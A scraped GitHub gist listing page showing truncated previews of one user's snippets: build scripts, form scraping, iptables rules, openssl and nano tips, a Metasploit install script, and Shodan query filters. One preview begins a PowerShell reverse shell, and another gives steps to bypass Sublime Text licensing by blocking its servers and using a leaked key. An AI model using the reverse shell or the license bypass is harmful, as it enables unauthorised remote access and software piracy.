Skip to content

Instantly share code, notes, and snippets.

@f0r34chb3t4
f0r34chb3t4 / build-static-python.sh
Created July 3, 2018 01:54 — forked from maddouri/build-static-python.sh
A simple script that builds static versions of Python and LibPython using musl-libc
#!/bin/bash
# set -eux
# This a simple script that builds static versions of Python and LibPython using musl-libc
# Find the associated article at: http://general-purpose.io/2015/12/06/compiling-python-and-libpython-statically-using-musl-libc/
WORKING_DIR="/code/static-python"
MUSL_PREFIX="/code/static-python/musl"
PY_PREFIX="/code/static-python/python"
@f0r34chb3t4
f0r34chb3t4 / gist:6f65d934199c266583610bd526b8da21
Created June 27, 2018 05:26 — forked from simonw/gist:104413
Turn a BeautifulSoup form in to a dict of fields and default values - useful for screen scraping forms and then resubmitting them
def extract_form_fields(self, soup):
"Turn a BeautifulSoup form in to a dict of fields and default values"
fields = {}
for input in soup.findAll('input'):
# ignore submit/image with no name attribute
if input['type'] in ('submit', 'image') and not input.has_key('name'):
continue
# single element nome/value fields
if input['type'] in ('text', 'hidden', 'password', 'submit', 'image'):
@f0r34chb3t4
f0r34chb3t4 / LICENCE SUBLIME TEXT
Created June 14, 2018 17:07
Sublime Text 3 Serial key build is 3176
## Sublime Text 3 Serial key build is 3176
> * Added these lines into /etc/hosts
127.0.0.1 www.sublimetext.com
127.0.0.1 license.sublimehq.com
> * Used the license key
----- BEGIN LICENSE -----
@f0r34chb3t4
f0r34chb3t4 / worm.py
Created May 30, 2018 09:08 — forked from hackolite/worm.py
worm.py
#!/usr/bin/env python
"""
Author: [email protected]
Mister Smith:
Mobility :
Sens :
Neural network
"""
» city
» country
nginx city:"San Diego" country:US
» geo
Devices within a 50km radius of San Diego (32.8,-117): geo:32.8,-117,50
» hostname
"Server: gws" hostname:google
» net
net:216.219.0.0/16
» os
@f0r34chb3t4
f0r34chb3t4 / metasploit-install-on-centos.sh
Created February 6, 2018 04:00 — forked from oogali/metasploit-install-on-centos.sh
Install Ruby 2.1.5 via rbenv, then Metasploit on CentOS
# install build deps
sudo yum install gcc gcc-c++ make expat-devel gettext-devel libcurl-devel \
libffi-devel libxml2-devel libxslt-devel libyaml-devel postgresql-server \
postgresql-devel readline-devel sqlite-devel openssl-devel ruby-devel \
rubygems autoconf automake bison libtool libpcap-devel
# install rbenv
git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bash_profile
@f0r34chb3t4
f0r34chb3t4 / iptables-round-robin.sh
Created February 3, 2018 21:38 — forked from apparentlymart/iptables-round-robin.sh
round robin to three ports on the same host with iptables
# The following example shows a way to use iptables for basic round-robin load balancing, by redirecting
# packets two one of three ports based on a statistic counter.
#
# TCP packets for new sessions arriving on port 9000 will rotate between ports 9001, 9002 and 9003, where
# three identical copies of some application are expected to be listening.
#
# Packets that aren't TCP or that related to an already-established connection are left untouched, letting
# the standard iptables connection tracking machinery send it to the appropriate port.
#
# For this to work well, connections need to be relatively short. Ideally there would be an extra layer
@f0r34chb3t4
f0r34chb3t4 / bash-cli-openssl-stdin-encryption
Created February 2, 2018 16:35 — forked from robert2d/bash-cli-openssl-stdin-encryption
Bash $STDIN Encryption with openssl and aes256
# Encrypt STDIN and provide a password(prompt)
echo "message" | openssl enc -aes-256-cbc -a
# Decrypt STDIN and provide a password(prompt)
echo "encrypted" | openssl enc -aes-256-cbc -a -d
@f0r34chb3t4
f0r34chb3t4 / nano-shorts.md
Created February 2, 2018 02:10 — forked from franz-josef-kaiser/nano-shorts.md
nano keyboard shortcuts

^ = Ctrl key M = Alt key

^G      (F1)            Display this help text
^X      (F2)            Close the current file buffer / Exit from nano
^O      (F3)            Write the current file to disk
^J      (F4)            Justify the current paragraph

^R      (F5)            Insert another file into the current one
@f0r34chb3t4
f0r34chb3t4 / mini-reverse.ps1
Created January 22, 2018 00:53 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;